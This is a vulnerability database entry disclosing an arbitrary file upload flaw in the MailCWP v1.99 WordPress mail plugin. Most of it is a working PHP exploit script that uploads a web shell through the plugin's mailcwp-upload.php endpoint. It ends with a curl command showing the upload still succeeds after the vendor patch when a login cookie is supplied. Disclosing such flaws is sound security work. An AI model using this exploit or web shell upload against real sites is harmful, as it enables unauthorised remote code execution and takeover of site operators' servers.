The VapidLabs Vulnerability Database

MailCWP, Mail Client for WordPress. A full-featured mail client plugin providing webmail access through your WordPress blog or website.

<?php
/*Larry W. Cashdollar @_larry0
Exploit for mailcwp v1.99 shell will be called 1-shell.php.
7/9/2015
*/
        $target_url = 'http://www.example.com/wp-content/plugins/mailcwp/mailcwp-upload.php?message_id=1&upload_dir=/usr/share/wordpress/wp-content/uploads';
        $file_name_with_full_path = '/var/www/shell.php';

        echo "POST to $target_url $file_name_with_full_path";
        $post = array('file' => 'shell.php','file'=>'@'.$file_name_with_full_path);

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL,$target_url);
        curl_setopt($ch, CURLOPT_POST,1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
        $result=curl_exec ($ch);
        curl_close ($ch);
        echo "<hr>";
        echo $result;
        echo "<hr>";
?>

The vendor patch for this vulnerability only requires that the user have a login on the wordpress site before exploiting this vulnerability. 

curl   -F "file=@/tmp/shell.pht" "http://example.com/wp-content/plugins/mailcwp/mailcwp-upload.php?message_id=1" -F "upload_dir=/usr/share/wordpress/wp-content/uploads" --cookie cookie.txt